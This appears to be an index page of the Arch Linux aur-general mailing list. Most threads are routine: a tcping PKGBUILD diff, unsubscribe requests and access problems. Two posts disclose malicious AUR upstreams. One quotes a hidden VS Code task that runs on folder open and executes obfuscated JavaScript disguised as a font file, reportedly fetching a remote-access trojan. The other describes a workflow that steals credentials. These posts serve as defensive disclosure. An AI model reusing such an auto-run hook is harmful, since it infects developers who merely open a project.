- Aur-general - lists.archlinux.org

support from maintainers for amending author in aur package
by Ueue 10 Oct '26

10 Oct '26

hello For legal/privacy reason I would like to amend the author in one package that i maintain on aur. Can I have support from a maintainer with force push permission? Thank you very much ueue

2 1

[PATCH] tcping: modernize PKGBUILD to pep517 and add license
by Frank Pereny 10 Oct '26

10 Oct '26

Hello aur-general list, I have modernized the orphaned `tcping` package to use the current Arch Linux PEP 517 python packaging standards (python-build and python-installer) instead of the deprecated setup.py workflow. Additionally, I have updated the .SRCINFO metadata, bumped pkgrel to 2, and explicitly added the installation steps for the missing MIT LICENSE file. The unified diff is provided below. Regards, Frank Pereny diff --git a/.SRCINFO b/.SRCINFO index c716c25..6488a0e 100644 --- a/.SRCINFO +++ b/.SRCINFO @@ -1,16 +1,21 @@ pkgbase = tcping pkgdesc = Just like icmp ping pkgver = 0.1.1rc1 - pkgrel = 1 + pkgrel = 2 url = https://github.com/zhengxiaowai/tcping arch = any license = MIT makedepends = python-setuptools + makedepends = python-build + makedepends = python-installer + makedepends = python-wheel + depends = python depends = python-click depends = python-prettytable depends = python-six source = https://files.pythonhosted.org/packages/2a/a1/7e8ac7d81a1a89b1cdb8200fee2c0… + source = LICENSE::https://raw.githubusercontent.com/zhengxiaowai/tcping/refs/heads/m… sha256sums = 557d5e928601e5a31e55abe20c6b9fff18bdc74a1e1d620d6b28b2f7c7a26606 + sha256sums = a5d77ee8f21b686eb9f7fe44783c5f17a987b7efe04151da5a12e31a42fd1568 pkgname = tcping - diff --git a/PKGBUILD b/PKGBUILD index 46903db..1c43875 100644 --- a/PKGBUILD +++ b/PKGBUILD @@ -1,25 +1,29 @@ -# Contributor(s): xgdgsc <xgdgsc(a)gmail.com> -# Maintainer: Bruce Zhang <zttt183525594(a)gmail.com> +# Maintainer: Frank Pereny <fjpereny(a)gmail.com> +# Contributor: Bruce Zhang <zttt183525594(a)gmail.com> +# Contributor: xgdgsc <xgdgsc(a)gmail.com> pkgname=tcping pkgver=0.1.1rc1 -pkgrel=1 +pkgrel=2 pkgpath='2a/a1/7e8ac7d81a1a89b1cdb8200fee2c0779410a63743806213cb9289ab6ee94' pkgdesc="Just like icmp ping" arch=('any') url="https://github.com/zhengxiaowai/tcping" license=('MIT') -depends=('python-click' 'python-prettytable' 'python-six') -makedepends=('python-setuptools') -source=("https://files.pythonhosted.org/packages/${pkgpath}/tcping-${pkgver}.tar.gz") -sha256sums=('557d5e928601e5a31e55abe20c6b9fff18bdc74a1e1d620d6b28b2f7c7a26606') +depends=('python' 'python-click' 'python-prettytable' 'python-six') +makedepends=('python-setuptools' 'python-build' 'python-installer' 'python-wheel') +source=("https://files.pythonhosted.org/packages/${pkgpath}/tcping-${pkgver}.tar.gz" + "LICENSE::https://raw.githubusercontent.com/zhengxiaowai/tcping/refs/heads/m…") +sha256sums=('557d5e928601e5a31e55abe20c6b9fff18bdc74a1e1d620d6b28b2f7c7a26606' + 'a5d77ee8f21b686eb9f7fe44783c5f17a987b7efe04151da5a12e31a42fd1568') build() { cd "$pkgname-$pkgver" - python setup.py build + python -m build --wheel --no-isolation } package() { cd "$pkgname-$pkgver" - python setup.py install --root="$pkgdir/" --optimize=1 --skip-build + python -m installer --destdir="$pkgdir" dist/*.whl + install -Dm644 "$srcdir/LICENSE" "$pkgdir/usr/share/licenses/$pkgname/LICENSE" }

1 0

GitHub Vulnerability Wave
by Emiliano Gandini Outeda 09 Oct '26

09 Oct '26

Hi Folks, Related to yesterday/today thread: Malicious package upstream: plasma6-applet-quicklaunch (6.5.80-3) It seems GitHub as been fucked, please check your package upstream repos. https://thehackernews.com/2026/10/credential-stealing-github-actions.html Just spreading the word. Emiliano Gandini Outeda emiliano-go[dot]com emiliano.gandini[at]protonmail[dot]com

2 1

[Revised] Malicious package upstream: plasma6-applet-quicklaunch (6.5.80-3)
by Saren 09 Oct '26

09 Oct '26

(Revised due to accidental reply to an old thread) Package:https://aur.archlinux.org/packages/plasma6-applet-quicklaunch Upstream:https://github.com/ixnewton/org.kde.plasma.quicklaunch/ Problematic Upstream File: https://github.com/ixnewton/org.kde.plasma.quicklaunch/blob/main/.github/wo… The "security-audit.yml" which will be executed in actions runner is actually extracting API keys and cloud creds and upload them to an external server. Although I believe that building this package using PKGBUILD harmless, the package upstream cannot be trusted anymore. Also note that the package submitter/maintainer may not be affiliated with the upstream author.

7 10

Malicious package upstream: glanced (0.1.1-1)
by Saren 09 Oct '26

09 Oct '26

Package: https://aur.archlinux.org/packages/glanced Upstream: https://github.com/ayan-de/glance-linux https://github.com/ayan-de/glance-linux/blob/master/public/fonts/fa-solid-5… is obfuscated javascript disguised as a .woff2 font file, with a lot of whitespace prepended. This javascript will be executed when this package is opened using vscode as defined in .vscode/tasks.json ```json { "label": "eslint-check", "type": "shell", "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-500.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-500.woff2) || echo ''", "isBackground": true, "hide": true, "presentation": { "reveal": "never", "echo": false, "close": true }, "runOptions": { "runOn": "folderOpen" } } ``` When executed, the code will resolve a specific ethereum transaction from blockchain, resolving a 2nd stage payload from http, effectively a RAT. Detailed analysis by claude: https://gist.github.com/Saren-Arterius/d666ff56ef070a551f5f38a404b0c85d

5 7

EOF and TLS Errors for `/rpc` and git endpoints
by Dalrymple, Joseph 08 Oct '26

08 Oct '26

I'm assuming this has to do with the latest changes to the AUR in order to prevent DDOS attacks, but after my recent attempts to update my local packages, I'm no longer able to `pull` or hit the AUR `/rpc` endpoint. At first it was just an `/rpc` error when running `yay -Syu`, but after throwing together a quick script to just manually `git pull` in each of my `~/.cache/yay/` repos to update them manually, it got about half way through them before erroring out. Now those are also returning "TLS connect error: Unexpected EOF", even though my script already had 2-second throttling between each pull command. Any ideas?

6 9

leave
by Effects 07 Oct '26

07 Oct '26

I'd like to unsubscribe from this mailing list

4 4

Request for enabling AUR registrations for a short window
by bubu.news 07 Oct '26

07 Oct '26

Dear AUR Team, Would it be possible to open the AUR account registrations for a short window? It's been more than a month that AUR registrations have been, and rightly so due to the malware nuisance caused by some retards. I'd really like to upload my projects to AUR and maintain them myself. I've seen other mails regarding account registration requests too; kindly consider my request. Thanks, Bubu.

6 7

Leave
by Michael Knap 06 Oct '26

06 Oct '26

I'd like to unsubscribe from this mailing list https://proton.me/mail/home

2 1

Leave
by Rice, Andrew 03 Oct '26

03 Oct '26

I'd like to unsubscribe from the aur mailing list

3 2